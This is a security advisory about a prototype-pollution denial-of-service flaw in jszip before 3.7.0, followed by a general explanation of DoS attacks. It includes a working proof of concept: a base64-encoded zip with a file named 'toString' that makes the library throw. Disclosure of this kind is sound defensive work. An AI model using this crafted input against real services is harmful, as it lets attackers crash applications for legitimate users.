Denial of Service (DoS) Affecting jszip package, versions <3.7.0

jszip is a Create, read and edit .zip files with JavaScript http://stuartk.com/jszip

Affected versions of this package are vulnerable to Denial of Service (DoS). Crafting a new zip file with filenames set to Object prototype values (e.g __proto__, toString, etc) results in a returned object with a modified prototype instance.

PoC

const jszip = require('jszip');

async function loadZip() {
// this is a raw buffer of demo.zip containing 2 empty files:
// - "file.txt"
// - "toString"
const demoZip = Buffer.from('UEsDBBQACAAIANS8kVIAAAAAAAAAAAAAAAAIACAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADDvJFSAAAAAAAAAAAAAAAACAAgAGZpbGUudHh0VVQNAAdPY3tg4FJ7YE9je2B1eAsAAQT1AQAABBQAAAADAFBLBwgAAAAAAgAAAAAAAABQSwECFAMUAAgACADUvJFSAAAAAAIAAAAAAAAACAAgAAAAAAAAAAAApIEAAAAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAFBLAQIUAxQACAAIAMO8kVIAAAAAAgAAAAAAAAAIACAAAAAAAAAAAACkgVgAAABmaWxlLnR4dFVUDQAHT2N7YOBSe2BPY3tgdXgLAAEE9QEAAAQUAAAAUEsFBgAAAAACAAIArAAAALAAAAAAAA==', 'base64');
const zip = await jszip.loadAsync(demoZip);
zip.files.toString(); // this will throw
return zip;
}
loadZip();

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• GitHub Issue
• GitHub PR